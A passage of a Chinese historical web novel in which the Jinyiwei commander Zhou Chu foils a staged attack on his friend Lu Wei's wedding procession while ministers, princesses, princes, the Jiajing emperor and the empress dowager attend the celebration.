但他偏偏硬气不起来,因为他杨府的一应开支,基本都是靠着他夫人的嫁妆,他虽然也在书院教书,但仅仅靠教书赚的钱,想要维持这一家老小的开支是极其困难的。 两年前他的夫人因病去世,被压了一辈子的杨夫子总算是能出开身了,现在这话倒也算是由心而发。 “有老师这话,学生也就放心多了,学生还有很多事要安排,就不久留了,等来日有时间了,学生再来老师这里拜访。” 周楚行礼道。 “本想留你吃顿饭的,咱爷俩多少年没见了,老夫有一肚子话想对你说,不过你说得对,来日方长,以后有的是时间。” 杨夫子有些不舍道。 周楚回到家中之后,又让人将陆炜叫了过来,还把休沐在家的陆炳也叫了过来。 “衡器,有什么安排吗?” 陆炳比陆炜更了解周楚,他很清楚周楚从不会做多余的事,此时将自己两兄弟都叫了过来,肯定是有事。 “礼部侍郎杨廉,联合了很多人,想要趁着文心接亲的时候,对新娘子动手。” 周楚没有拐弯抹角,直接说道。 “什么!” 陆炜听到这话,噌的一下站了起来。 倒是陆炳,跟在皇帝身边,什么大风大浪没见过,听到这话,虽然有些惊讶,仔细想想,却也在情理之中。 “他们为何这么做?这些文官不是最擅长在官场上做文章吗?为何会采取这么蠢的方式,这样的话,岂不是给我们把柄?” 陆炳有些不解道。 陆炳的想法不无道理,按照正常逻辑,这些文官用这种方法,简直是昏了头,和锦衣卫玩脏的,如果是以前,文官掌权的时候,他们这么做倒也无可厚非。 但现在文官集团早已今非昔比了,锦衣卫在整个京城的权势可以说如日中天,这些人却用这么蠢的一种方式试图惹怒周楚这位锦衣卫指挥使。 惹怒?陆炳似乎想到了什么,看向了周楚。 周楚看着陆炳的眼神,就知道他想明白了,点了点头。 “没错,他们这么做并不是真的要对新娘子如何,而是对我的试探,他们想看看我是不是还像之前那般横冲直撞,什么都不怕,还是说经过了这次刺杀,胆子变小了,只要得到他们想要的结果,他们就可以肆无忌惮的做事了。” 周楚说道。 陆炳听到这话,突然如同醍醐灌顶一般,原本很多想不明白的事,此时豁然开朗。 “之前你一直不离开张家村,就是要给他们造成你怕了的错觉?” 周楚点了点头。 “没错,正所谓敌在暗我在明,只有让这些人都浮出水面,或者认为时机合适了,他们才会彻底暴露,也就好清算了。” 周楚说着将旁边的水蜜桃拿了两个递给陆炳和陆炜一人一个。 陆炜一脸懵逼地接过周楚手中的水蜜桃,对于自己大哥和二哥的对话,他听的云山雾罩的,不过总算听出了一点有用的,那就是大婚的时候,杨苒不会有什么危险,二哥和自己说这话,只是让自己做好心理准备罢了。 陆炜也是心大,心想有大哥二哥在,天塌不了,于是就在一旁放心了啃起了水蜜桃。 陆炳却不像陆炜这么乐观,陆炳看到的更多。 “这些人清算了一批又一批,什么时候是个头。” 陆炳叹了口气道。 “我们锦衣卫,干的就是这个,不过倒也不必过于担心,等到书院之中的第一批学生入仕之后,就会好很多,我现在正在掘他们的根。” 周楚智珠在握道。 第287章 陆炜大婚,蓄势待发 陆家二公子大婚,哪怕在京城之中,也是一等一的大事,毕竟如今的陆家早已今非昔比,陆家老大是皇帝身边的近臣,还因为军功被封了侯,军功封侯和那种皇家的姻亲随意封的侯可是有本质上的区别。 如今的陆炳,完全可以另立门户,高低也是个侯府,无数贵女都望眼欲穿的想要嫁给陆家大公子,希望成为侯门主母。 陆炜作为陆家二公子,虽然论身份和各个方面都不如他的大哥陆炳,但因为陆炜和周楚的关系,京城之中很多人都清楚,锦衣卫指挥使周楚原本是书童出身,正是这位陆二公子的书童,两人的关系如同亲兄弟一般。wWW.xszWω㈧.йêt 陆松还是个锦衣卫千户,这等身份的加持之下,京城之中没人可以忽视这一场婚礼。 即便陆家已经尽量办的低调不奢华了,但大婚当日前来参加婚礼的人仍然络绎不绝,差点踏破了陆家的门槛。 京城之中的大小官员,即便自己不来的,也会让家里的人来送上礼金,那些自己不愿意来的多半是碍于面子,毕竟再怎么说,无论是陆松、陆炳亦或是周楚,都是锦衣卫,文官巴结锦衣卫,怎么说都不好听。 但不送礼,又怕被陆家或者周楚记恨,官场上的事,往往谁来了不重要,谁没来很重要。 京城之中的在职官员,除了六科的那些言官,那是真不怕,其他的官员虽然恨不得弄死周楚,却也要让家人来送上贺礼。 这就是官场,表面你好我好大家好,暗地里都憋着弄死对方,但在弄死对方之前,不能让对方察觉自己的意图。 就算是攀附毛纪的那些官员,在一起的时候说话一个比一个狠,但如果让他们单独面对锦衣卫,面对周楚,恨不得腿都哆嗦,这些人也就是在一起的时候才敢谋划这些事。 他们对周楚很怕,对锦衣卫指挥使这个职务很怕,因为周楚手下的北镇抚司可以毫无理由的抓他们,不需要任何证据,这种事情周楚做过,而且做绝了。 正是因为他们对周楚怕,怕里面就带着怒,谁也不想自己的头上一直悬着一把利刃,随时可能落到自己头上,偏偏这把利刃悬浮在无数官员的头顶,让他们寝食难安。 文官集团和锦衣卫和皇权是天然对立的,这些文官们之所以选择攀附毛纪,除了出于仕途的考虑之外,还有一个更重要的原因,那就是他们有着一致的诉求,那就是将如今如日中天的锦衣卫重新按下去,让锦衣卫回到之前的位置,对他们这些文官构不成太强的威胁。 或者换一种说法,那就是将周楚这个锦衣卫指挥使扳倒。 这一年多的时间,锦衣卫的权势愈盛,让京城之中的大小官员谈锦衣卫色变。 权利能改变一个人,更是能改变一个组织,一个机构,锦衣卫的权利空前膨胀的结果,往往是下面的锦衣卫百户千户,甚至是总旗,开始以权谋私,甚至陷害一些官员。 这些都是不可避免的,毕竟锦衣卫太大,锦衣卫的人数又太多,任何一个锦衣卫做的事,最后都会被算到周楚这个锦衣卫指挥使的头上。 为此,周楚特意提升了南镇抚司的一些权限,好让南镇抚司能更好的监察锦衣卫。 南镇抚司的职责之中便有监察锦衣卫这一项,不过以前锦衣卫一直都处于弱势地位,南镇抚司的这项权限显得可有可无,但现在不同了,如果没有南镇抚司的监察,周楚很清楚,很多锦衣卫都会做出草菅人命的事。 锦衣卫可从来都不是什么善茬,一个比一个狠,倘若周楚不给他们上一道枷锁的话,周楚这个锦衣卫指挥使的名声很快就会像前朝的刘瑾一样了。 即便如此,如今的周楚,在整个京城的百姓眼中,也是毁誉参半。 这其中有那些文官们刻意宣传的原因,在那些文官们口中,周楚以及锦衣卫全都是迫害忠良的奸臣,如同前朝的刘瑾一般,一谈到刘瑾,京中很多有些年纪的百姓都会色变。 当初刘瑾身为大太监,朱厚照的得力助手,虽然帮朱厚照办了很多事,但刘瑾手下也聚集了一大群以权谋私之辈,像之前王阳明被锦衣卫追杀,就是出自刘瑾的手笔。 这个世界从来都不是非黑即白,不是说文官集团想弄死皇帝,所有文官就都是坏的,也不是说刘瑾为朱厚照办事,刘瑾就是好的。 就像之前陆家进大狱,包括严嵩被迫辞官,都和刘瑾有着脱不开的关系。 周楚虽然让南镇抚司约束锦衣卫,但在京城很多百姓眼中,周楚这位锦衣卫指挥使一旦和刘瑾这种人挂钩,甚至划上等号,能是什么好人? 对于这些人的想法,或者很多谣传,周楚是没有任何兴趣去改变他人对自己的看法的。 周楚从来都明白一个道理,别人怎么看自己,从来都是基于他们自身的利益诉求,而并非是真正的出于公正和道义。 就像京城之中还有一大部分认为周楚是个好官,而且是个前所未有的好官,这些人之中一部分是在云桂坊做工,或者在布庄做工的那些人,或者那些人的家眷,周楚对他们没的说,他们可不管周楚对其他人如何,在他们眼里,周楚就是青天大老爷。 还有很大一部分是因为被之前周楚查办的那些官员欺压或者迫害过,知道周楚查办了这些人,相当于变相的为他们伸了冤,在这些人眼里,周楚自然也是好人。 陆家虽然办的低调,但该给杨苒的排面还是不能少的,比如八抬大轿,轿子的所有轿夫都被周楚换成了锦衣卫之中的高手,为的就是以防万一。 新婚之日,陆炜骑着马,身后跟着轿子,迎亲的队伍浩浩荡荡地直奔杨家去了。 “小姐大婚,怎么这般紧张?” 杨苒的贴身侍女看着杨苒紧张的模样,有些不解道。 作为杨苒的贴身侍女,可以说是和杨苒一起长大的,所以她对杨苒极为了解,甚至此次大婚,她都是要作为同房丫鬟一起嫁到陆家的。 像她这种贴身丫鬟,特别是和杨苒感情极好的,杨苒还特地问了她的意见,倘若她不想一起去陆家,那就还了她的身契,放她自由。 不过这丫鬟自小在杨家长大,来杨家之前就没了任何亲人,本身就是个孤儿,从小生活在杨家,让她对外面的世界很是陌生,甚至一想到自己要离开小姐,就会无所适从,所以她毫不犹豫地选择和杨苒一起嫁过去。 “大婚嘛,哪能不紧张。” 杨苒摸了摸手心的汗,想着自己的父亲和自己说的那些话,明白今日大婚注定不会太平静,不过想想有周楚这位锦衣卫指挥使和陆炳这个锦衣卫同知坐镇,想来应该不会有什么大问题。 不过知道是一回事,想要不紧张,杨苒还是很难做到。 “小姐不必紧张,女婢会一直陪着你的。” 侍女帮杨苒整理了一下礼服道。 第288章 杨廉的算计,周楚的果决 杨夫子今天很高兴,这么多年,很少见到他这么高兴,一方面是之前因为和周楚的关系郁结于心,现在彻底解决了,身心舒畅,另一方面则是要和陆家结为儿女亲家。 如果是远嫁,或者嫁给一家自己不熟悉的人家,杨夫子可能会伤心难过,或者担心自己女儿未来的日子过的如何。 但陆炜可是他一手教出来的,对陆炜的品性他自认为还是很了解的,这小子看着不着调,但其实还是很可靠的,更何况陆炜背靠陆家,陆家有陆炳,有陆松,更不用说陆炜和周楚的关系了。 这些将来都是自己女儿的保障,最起码陆炳和周楚没倒之前,整个京城没人敢欺负自己的女儿。 杨夫子的两个儿子早已大婚,甚至大儿子如今已经三十多岁,只有杨苒这个小女儿让他放心不下,现在也算是解决了人生之中的最后一件大事,所以杨夫子很高兴。 至于周楚说的那些危机,杨夫子根本就没放在心上,如今整个京城,谁能比得上锦衣卫的权势,那些人即便是动手,也泛不起什么水花。 这一点,杨夫子从未怀疑过。 很快,陆炜迎亲的队伍就到了杨家,杨夫子拉着陆炜的手,久久不愿意放开。 “文心啊,好孩子,以后我这个女儿就交给你了。” 杨夫子说着拉着杨苒的手,将杨苒的手递给了陆炜。 刚才还很高兴的杨夫子,此时也莫名的有些伤感了起来。 “文心,你可要好好对我妹妹,不然我可饶不了你。” 杨苒的大哥半开玩笑道。 “放心吧大哥,我一定不会辜负她的。” 陆炜认真道。 “吉时已到。” 跟着陆炜来的司仪高声喝道。 陆炜听到这话,将杨苒直接抱了起来,杨苒惊呼一声,急忙按住自己的盖头,一旁看热闹的宾客纷纷跟着起哄。 陆炜将杨苒放到轿子上,随后翻身上马,在马上对杨夫子等人抱拳行礼。 “老师,岳丈大人,学生走了。” 杨夫子此时愈发伤感,摆了摆手,没有说任何话,一旁杨苒的大哥扶住杨夫子。 “爹,不必伤心,这可是大喜的日子。” 两人说这话的时候,陆炜已经带着接亲的队伍离开了杨家门口。 整个接亲的队伍,除了轿夫是锦衣卫的高手之外,其他基本也都是锦衣卫的人。 为了以防万一,在一路上,周楚还安排了几十个锦衣卫穿着便服暗中跟随,一旦有风吹草动,立刻动手。 迎亲的队伍刚走出没多远,路两边的屋子里突然窜出来一批人,手里都拿着武器,看样子来者不善。 但队伍之中的锦衣卫却看得出来,这些人极其不专业,甚至可以说是乌合之众,但凡真的想劫下新娘之人,胆敢这么做的,应该不会安排这样的人。 偏偏这些人出现了,显得诡异又荒诞。 不过这些都不是这些锦衣卫需要考虑的事,他们接到的命令就是活捉这些人,不能杀人,不能流血。 大婚之日见血,乃不吉之兆。 原本他们还很有压力,但此时看到这些人之后,心中一块石头顿时落了地,让他们对付这些人,有些大材小用了。 整个战斗过程干净利落,这些个蹩脚的劫匪,也不知道是谁找来的,像是临时从乡下找来的几个流氓,一点战斗力都没有,很快,这些人就被锦衣卫的人兵不血刃的活捉了起来。 另外一边,杨廉府上,和杨廉一起谋划这件事的那些官员有些坐立不安。 “杨大人,你确定这些人被抓之后,不会把我们供出去?” 一个官员看着杨廉,满脸不安道。 “放心吧,张大人,我早就安排好了,中间负责联络这些人的那个家伙已经被我处理掉了,锦衣卫查不到我们身上,想要靠证据抓我们,门也没有。” 杨廉信心满满道。 这就是杨廉的计划,所谓的劫新娘不过是个噱头,这些人的被抓也是他预料之中的,甚至这些人根本就不适合干这个活。 找这些完全不相干的人,只要把中间人处理掉,锦衣卫就查不到自己身上。 到时候周楚这个锦衣卫指挥使倘若真的发火,甚至震怒,就会让北镇抚司的人直接抓自己。 北镇抚司抓人,从来都不需要证据。 说白了,杨廉就是在试探,试探周楚还会不会像被刺杀之前那么一往无前。 杨廉一直都知道自己在做什么,也知道自己在毛纪和夏言眼中的作用,自己想要往上爬,想要上位,就要能人所不能。 做这件事,对杨廉而言是一场豪赌,赌赢了,他的前途将是一片坦途,将来入阁都指日可待,赌输了倒也无所谓,他杨廉虽然谈不上多清廉,但以前做的那些事,即便被北镇抚司查的底掉,顶多就是个流放的罪名。 任何事,都要有代价,既想要前途,又怕这怕那的,这世上哪有这么好的事。 杨廉现在就是要做一把刀,毛纪手中的刀,为毛纪登临内阁首辅之位披荆斩棘,一旦毛纪上位,他这个大功臣入阁就水到渠成了。 在杨廉眼中,他眼前的这些官员,不过是些浑浑噩噩之徒,从来都是他手中的筹码罢了。 “诸位做事这般瞻前顾后,要是怕了,现在就可以退出,以后就算本官被北镇抚司抓了,也绝不说各位一句不是。” 杨廉有些不屑地看着这些官员道。 这些人听到杨廉这话,顿时有些尴尬。 “杨大人说的哪里的话,我等自然是要与杨大人共进退。” 其中一个官员信誓旦旦道。 这些人被抓住之后,陆炜的大婚就显得波澜不惊了。 至于被抓的这些人,全都被关进了昭狱。 “大人,这些人该如何处置?” 陆万山和周楚坐一桌,神情恭敬道。 “过了今日,全部处理了就是。” 周楚喝了杯酒道。 这些人在决定做这件事的那一刻起,他们的命运就已经注定了,他们不过是双方博弈的牺牲品罢了。 对这些人,周楚甚至懒得审,也没必要审,现在周楚要做的就是示弱,让杨廉为首的这些人膨胀起来,让他们认为他们得势的机会来了。 周楚很清楚,接下来他们要做的第一件事,就是弹劾杨一清,扳倒这个挡在毛纪面前的内阁首辅。 只有这样,毛纪才能更进一步。 第289章 各路宾客齐聚,大佬云集 孙娇娇一家人,包括孙娇娇的爹孙弘肯定是要参加陆炜的婚礼的,无论是出于孙娇娇和周楚的朋友关系,亦或是孙娇娇的公爹和孙弘在官场上和周楚的关系,这场婚礼他们必然不会缺席。 为此两家还特意商量了一下礼金多少的问题,对于他们这个品级的官员,上多少礼金大有说法,品级在这里摆着,不能比更高级的官员上的礼金多,否则就太出风头了,会被其他官员记恨。 也不能太低,太低了说不定会被陆家,甚至是周楚记上一笔,也够他们喝一壶的。 再加上孙娇娇和周楚的朋友关系,无论是孙娇娇的公爹,还是他爹孙弘,对于礼金的问题都很头疼。 最终双方拟定了一个合适的数字,不过除了礼金之外,孙弘还特意准备了一对银包金的送财童子。 银包金为的就是低调,孙弘不怕里面的黄金不会被发现,实际上像孙弘这样送礼的大有人在,事后陆家会有专门的人来检查所有的贺礼,一方面是为了防止别有用心之人送一些不好的东西,另一方面就是查看每一件物件的真实价值。 不只是孙弘,孙娇娇的公爹也送了一件差不多的贺礼。 如此一来,既不出挑,又表达了自己的心意。 为官之道,往往就在这些不起眼的送礼之中,怎么做能不得罪任何人,又能巴结上级,这其中的学问很大。 “首辅石淙先生到。” “阁老升庵先生到。” “阁老海翁先生到。” “阁老木斋先生到。” ...... 随着礼房一声声高喝,杨一清、杨慎、毛纪还有谢迁好像商量好的一般带着他们的家人先后到达陆家。 礼房不好直呼这些人的名字,但如果只是称姓氏的话,又很难区分他们的身份,叫字他们又没资格,于是称呼号就成了最好的选择。 孙娇娇的公爹听着这一个个如雷贯耳的名字,心都在发颤,他和孙弘不一样,孙弘因为孙娇娇的原因,被不断提拔,位居朝堂,每次朝会都能见到这些大佬。 孙娇娇的公爹只是个很小的官,根本没资格位列朝堂,现在突然见到内阁之中的这几位大佬一起出现,别说是他了,就算是孙弘,内心都有些忐忑。 陆家的其他亲朋还有,包括杨氏的亲戚,就更不用说了,他们之中很多人都低下了头,甚至不敢抬头去看杨一清等人。 谁也不清楚会不会因为多看一眼,就得罪了这些大佬。 大多数人都低头不敢多看,就算有好奇的,也只是悄悄抬头看一眼,然后急忙低下头,生怕被其他人注意到。 周楚看到几人,作为半个主人,自然要起身相迎。 “首辅大人,升庵先生,毛阁老,谢阁老,没想到几位能大驾光临,蓬荜生辉啊。” 周楚笑道。 “衡器,我可是听闻你与这陆二公子差不多的年岁,如今陆二公子已然大婚,衡器可有心仪之人?告诉老夫,老夫倒是不介意做一次保媒拉线的活。” 杨一清捋着胡子,笑吟吟道。 “是啊衡器,你也该考虑自己的终身大事了。” 杨慎在一旁附和道。 杨一清和杨慎原本是针锋相对的,此时在这个问题上居然罕见的达成了一致。 “首辅大人说得对啊,周大人若是想的话,这京城之中的贵女还不任由周大人挑选?” 毛纪跟着说道。 和杨一清杨慎两人的真心实意不同,毛纪这话就是包藏祸心了,他这话无疑在暗示周楚在京城之中只手遮天,想娶谁家的女子,不过是一句话的事。 “毛大人这话未免太过了,倒是毛大人,人老心不老,本官听闻毛大人最近又新纳了一房小妾,年方二八,真是风流啊。” 周楚从来都不是吃亏的人,满脸笑容软中带硬的怼了回去。 毛纪听到这话,一时语窒,不知道该如何反驳,最重要的是,此时是陆家二公子大婚的日子,他可以阴阳一下,但不会因为意气之争真的和周楚针锋相对。 那种事对处于他们这个位置的人而言没有任何必要,在他们这个位置,所言所行,考虑的不过都有利益罢了。 倒是一旁的谢迁,一直笑着,什么都没说,可以说是几人之中最老成持重的一位了。 “诸位大人,入席吧。” 周楚笑道。 杨一清等人,由周楚接待,陆松夫妇在一旁看着都紧张,好在不用他们亲自接待,即便他们的大儿子陆炳如今是皇帝近臣,即便周楚是锦衣卫指挥使,但此时他们看到这内阁的四位站在一起,仍然感到压力很大。 杨一清等人被安排在了内堂之中。 所有的席面都是有讲究的,能进入内堂的,都是最尊贵的客人。 “德清公主到。” “仁和公主到。” 随着礼房的两声高喝,所有人的注意力再次被吸引。 德清公主挽着另外一位看上去雍容华贵,年近五十的妇人走了进来,正是成化帝的另一个女儿,仁和公主,德清公主的姐姐。 对于仁和公主的到来,周楚虽然有些意外,却也能理解。 仁和公主有五个儿子,大儿子齐良正是周楚手下的指挥佥事之一,另外四个儿子,有的是锦衣卫副千户,有的是所镇抚。 除了大儿子齐良之外,仁和公主的四个儿子,都被周楚趁机往上提了提,比如原本是副千户的二儿子,被周楚趁机提拔成了千户。 原本是所镇抚的三儿子,在周楚的建议下,被调往大同,成为了大同的副统领,和林鹿一起在草原上建功立业。 其他两个儿子,也都跟着去了大同,在军中任百户,跟着一起混军功。 仁和公主的这几个儿子之中,大儿子齐良是最有本事的,能官居锦衣卫指挥佥事,本身就说明了他的本事。 二儿子军事能力不错,至于另外几个,虽然能力一般,但好在有自知之明,这和仁和公主的教育有着脱不开的关系。 对于这些人建功立业,嘉靖自然是喜闻乐见的。 草原的的大战略是周楚制定的,执行是林鹿和虎贲军,仁和公主的这几个儿子,说白了就是去混军功的。 当然,能混到多少军功,完全看他们个人的能力,虎贲军原本的军功没人能抢走。 所以仁和公主对周楚,一直都有着很大的善意,只是一直都没找到机会见一见这位锦衣卫指挥使,现在陆炜大婚,她自然不会放过这个机会。 杨氏看到这两位公主,急忙拉着周楚走上前去。 “见过仁和公主、德清公主。” 杨氏行礼道。 “见过仁和公主,德清公主。” 周楚跟着行礼道。 “何须这么客气。” 德清公主笑道。 “确实过于客气了,本宫一直都对周大人很是好奇,今日一见,果然是闻名不如见面。” 仁和公主看着周楚,脸上的笑容显得很慈祥。 如今大明这两位硕果仅存的公主,还都是成化帝的女儿,两位公主年龄相差两岁,都已经年近五十了。尐説φ呅蛧 “说起来,我那两个不成器的东西,还多亏了衡器照拂,特别是老二,如果不是衡器,如今不知道成了什么模样。” 德清公主有些感慨道。 “我家那几个,也多亏了周大人的关照,说起来我也要好好谢谢周大人。” 仁和公主附和道。 一旁的林瑶,此时显得异常乖巧,她虽然有很多话想和周楚说,却也分得清场合,分得清轻重。 “大人。” 齐良在仁和公主身旁,神情恭敬地向周楚说道。 周楚拍了拍齐良的肩膀。 “诸位赶紧入座吧。” 仁和公主一家和德清公主一家也都被安排在了内堂之中。 陆家的客人看到这一幕,心中都感到无比震撼,此时他们对周楚这位锦衣卫指挥使的权势才有了直观的认知。 “楚王府世子到。” “沐王府郡主到。” “代王府郡主到。” ....... 第290章 嘉靖到来 朱显榕等人前两天就到了京城了,周楚回京参加陆炜婚事自然是瞒不过他们的,甚至他们背后的王府也都得到了消息。 不只是他们,和周楚一起合伙做生意的那些个王府,有一个算一个,都派了人来到京城,甚至为此特意向皇帝打了申请,经过嘉靖允许之后,他们才进京的。 此时几十位世子郡主一起到陆家,带来的震撼是前所未有的,大部分人终其一生可能都见不到一位世子或者藩王的郡主,此时却是同时出现了几十位。 这些人的出现,带来的震撼甚至远超杨一清等人,或者两位公主。 因为杨一清等人的出现完全是在情理之中,也在所有人的预料之中,但朱显榕等人的出现却是大大出乎了所有人的预料。 他们想不明白,陆家和这些藩王府是怎么扯上关系的。 不只是那些宾客,就连陆松夫妇两人此时也是一脸懵逼,他们完全不明白,这些藩王府怎么会派人来参加他们儿子的婚礼。 不过陆松很快就想明白了,看向了旁边的周楚。 果然,周楚走了过去。 “学生见过老师。” 朱显榕率先来到周楚面前,行了个弟子礼。 “学生见过老师。” 沐云萍也跟着行了个弟子礼。 两人都是正式拜了师的,周楚看着两人,点了点头。 “你们本不必来的,这么多人一起来,有些过于高调了。” 周楚有些无奈道。 周楚一向不喜欢如此高调,周楚从来奉行的都是低调做人高调做事的原则。 这群人来到京城,自然是瞒不过周楚的,既然都来了,周楚也不好驳了他们的好意,再让人回去吧。 人与人之间都是互相的,这些藩王府本就是一片好意,周楚自然也得知进退。 “衡器。” 朱思莹再次看到周楚,高兴道。 其他那些世子郡主也纷纷跟周楚打招呼。 一旁坐着的杨廉看到这一幕,顿时心神大乱,他不明白这么多藩王府是如何和周楚搭上关系的,绍兴发生的事,知道的人极少,这和董瑞做的保密工作有着直接的关联。 当时各地藩王的世子郡主去绍兴,并没有大张旗鼓,这都是嘉靖特意嘱咐的,所以即便是杨一清等人也不清楚。 谢迁倒是知道有一批人去绍兴见了周楚,但不知道这些人的具体身份。 此时的杨廉骤然看到这等局面,顿觉自己似乎算错了很多东西,错算了这位锦衣卫指挥使的权势。 不过杨廉很快就稳住了心神,在他看来,周楚这么做,只能证明他没了当初的雄心壮志,什么人会和各地藩王府勾搭在一起?还不是为了保命,或者为了钱财? 这样一个锦衣卫指挥使,根本不用他过多担心。 杨廉今日特意前来参加陆炜的大婚,就是想近距离观察周楚的反应,想看看这位锦衣卫指挥使抓了人之后会不会雷霆震怒。 很显然周楚没有,不然的话现在北镇抚司应该在到处抓人了,他杨廉也没机会坐在这里了,而是应该在北镇抚司的昭狱之中。 杨廉可不相信锦衣卫或者北镇抚司查不到那些人是谁派去的,区别只在于有没有证据罢了。 而北镇抚司恰恰是不需要证据的。 杨廉在踩火线,他一直都很清楚自己在干什么,只是跟着他一起做这件事的那些官员不清楚罢了。 这就是典型的有功劳杨廉独享,因为毛纪最后只会记得是杨廉牵头做的这件事,有祸大家一起背。 内堂之中的毛纪等人得知外面居然来了几十位藩王世子郡主的时候,也有些坐不住了。 无论是毛纪还是杨一清,对于这种状况之外的事情,都很不喜欢,或者说很不适应,身居高位者,最喜欢的是一切都在自己掌控之中,即便掌控不了,也要知道所有的信息,以便随时应对。 但此时出现的状况,却是大大出乎了两人的预料,让他们心里很难受。 当然,谢迁是知道一些的,所以倒也没那么意外。 很快,这些世子郡主也都被安排在了内堂,这些人的加入,让内堂瞬间就满了。 那些一般的正三品甚至是正二品,如韩玠这种吏部尚书,都没资格进入内堂了。 “今天算是开了眼界了。” 秦莞作为杨苒的好友,原本应该去杨家参加婚礼的,不过秦家更希望和陆家能拉上一些关系,于是秦莞在其父母的一再要求之下,和她的父母来到了陆家参加婚礼。 秦莞这种杨苒的闺中好友,在哪边参加都说得过去。 秦莞先是目睹了杨一清等人到来,那时候她还不怎么敢抬头看,后来是两位公主。 幸亏秦莞坐的近,听到了两位公主的话,听到德清公主仁和公主的话的时候,秦莞内心无比激动,她甚至已经构思了一部新的话本,两位公主家的几个儿子跟着锦衣卫指挥使周大人南征北战。 光是想想,秦莞就觉得很激动。 当朱显榕等人出现的时候,秦莞的心情已经不能用激动来形容了,特别是听到朱显榕和沐云萍叫周楚老师的时候,秦莞的大脑都跟着停顿了片刻。 她构思过很多剧情,很多话本,但却从未构思过这样的剧情,此时的秦莞脑中的灵感如同大河一样奔流不息,她恨不得拿笔立刻将自己的这些想法记录下来。 就连秦莞的父母,此时也都是目瞪口呆,和秦莞的想法差不多,大开眼界。 他们这一辈子也没见过这么多大人物。 “皇上驾到。” 这次的声音不是从礼房传来的,而是一个周楚熟悉的声音,正是黄锦。 所有宾客听到这话,心神都是一颤,纷纷起身恭迎皇帝。 第291章 太后蒋氏,嘉靖和周楚 “太后驾到。” 众人还没反应过来,又是一声太监的高喝之声,紧接着嘉靖的生母蒋太后的銮驾就停到了陆府门口。 皇帝太后齐至,所有人都急忙站了起来,包括在内堂的杨一清等人,还有那些世子郡主,纷纷来到陆家庭院之中,恭敬而立。 明朝的跪拜制度很繁琐,比如下官见上官,就要行跪拜之礼。 但明朝也很神奇,很多明面上规定的东西,到了这个时候,大家基本都不怎么遵守了。 比如跪拜的礼仪,实际上很少有下官见上官就行跪拜之礼的,除非是犯官,或者有求于上官的。 朝会上,文武百官基本也只是行礼,不会跪拜。 陆松夫妇,陆炳,周楚,以及陆炜小两口,纷纷来到皇帝和太后面前,正要行跪拜之礼,被嘉靖摆手制止了。 “不必多礼,今日大喜的日子,我和母后也来凑个热闹。” 嘉靖笑道。 陆松夫妇和陆炳以及周楚听到这话,也就没有继续要行跪拜之礼。 “今日陛下和太后大驾光临,又是他们小两口的大喜之日,他们小两口自然该跪拜君父。” 陆松说着伸手就去按陆炜的脖子,陆炜和杨苒听到这话,隆重地跪下,对嘉靖和太后蒋氏郑重磕头。 对于陆炜两人的跪拜之礼,无论是嘉靖还是蒋氏都没有拒绝,笑着受了。 一般人家大婚,都是拜天地,拜高堂,最后对拜。 但陆家显然不是一般人家,皇帝和太后都到了,自然是要拜君父的。 “真是一对璧人,本宫看着欢喜,这对鸳鸯是本宫前些日子闲来无事绣的,正好送与你们,祝你们百年好合。” 蒋氏拉着杨苒的手,将她绣的一对鸳鸯荷包放在了杨苒手中。 杨苒刚被蒋氏拉住手的时候,身体一僵,极为紧张,毕竟眼前的可是当朝太后,论身份之尊贵,整个大明也无人能出其右了。 “不必紧张,当初文心这孩子出生的时候,我还抱过他呢,真要论起来,文心和皇上也能论上一个奶兄弟。” 蒋氏自然明白杨苒为何如此紧张,拍了拍杨苒的手,笑道。 当初蒋氏怕朱厚熜和杨氏关系太好,从而和自己这个生母的关系疏离,让兴王在京城为陆松谋了个差事,陆松原本的差事则由陆炳继承。 这对陆家本就是好事,原本陆家只有一个世袭的锦衣卫职务,现在变成了两个,陆松夫妇自然是极为愿意的。 蒋氏对杨氏,没什么恶感,甚至两人的关系还很好,这一年多,蒋氏经常叫杨氏进宫陪她一起说说话,以解苦闷。 再加上如今陆家的权势,以及陆家对皇帝的帮助,特别是周楚这位锦衣卫指挥使,对自己儿子的帮助,蒋氏一直都是知道的。 陆炜的大婚,原本身为太后的蒋氏完全没有必要来的,甚至皇帝朱厚熜前来,都有些太过抬举陆家了,不过无论是朱厚熜还是蒋氏都清楚,对陆家,无论如何抬举都不为过。 抬举陆家,就是抬举周楚。 周楚到了如今的位置,他们再抬举周楚,那无异于捧杀,对周楚对皇帝,甚至对朝廷都不是好事。 抬举陆家就不会有这些问题。 蒋氏算是看出来了,周楚这位锦衣卫指挥使到了这个年纪还未提婚配,甚至从未提过有什么心仪的女子,多半是要和陆家这个小女儿走在一起的。 抬举陆家,就相当于抬举周楚。 杨苒听到这话,感受着蒋氏那温婉的语气,倒也没那么紧张了。 “真要说起来,文心也算是和朕一起穿开裆裤长大的,后来文心来了京城,朕还伤心了好一阵子。” 嘉靖半开玩笑道。 “母后,这就是衡器,您不是时常念叨衡器的名字吗?” 嘉靖指着一旁的周楚,介绍道。 “衡器,本宫也这么叫你吧,你也算半个陆家的孩子,和文孚文心更是亲如兄弟。” 蒋氏看着周楚,满脸笑容道。 蒋氏很聪明,只谈家事,不谈国事,周楚做的事人尽皆知,已经不需要蒋氏再夸一遍了。 “太后太抬举臣了。” 周楚受宠若惊道。 “哪里算得上抬举,对了,你可有心仪的女子,若是有,告诉本宫,本宫替你说和。” 蒋氏玩笑道。 众人听到这话,都露出了笑容。 “是啊衡器,文心和你我年龄一般,如今文心已经成婚了,你怎么一点动静都没有。” 嘉靖看着衡器,调笑道。 “臣哪有时间啊,陛下是知道的,更何况大哥都还未大婚,臣更不着急。” 周楚说着看向了一旁的陆炳。 原本还在看戏的陆炳突然被点名,有些措手不及。 “怎么还有我的事?” 陆炳一脸懵逼道。 “别提了,京中各家的女子,朕都让人送来了画像,让文孚挑选,他愣是没有一个心仪的。” 嘉靖看着陆炳,有些恨铁不成钢道。 “臣现在只想保护陛下的安危,哪有心思想这些。” 陆炳有些无奈道。 “你可别拿朕当幌子,现在朕可没什么危险,你总是要成婚的。” 嘉靖不满道。 一旁的周楚眼看祸水东引成功,站在一旁看起了乐子。 至于院中的其他人,那些有功名在身的,或者官员,都是躬身行礼,那些白身之人,全都跪倒在地,不敢抬头。 “好了,我们赶紧进去吧,不要扰了宾客。” 蒋氏眼看着院中的宾客跪倒大半,不忍心看他们一直跪着,出言提醒道。 陆松夫妇听到这话,顿时松了口气,急忙将嘉靖和蒋氏引进后宅之中。 嘉靖和蒋氏,自然是要单独安排一桌,不能在内堂,否则内堂那些人哪能吃的安生。 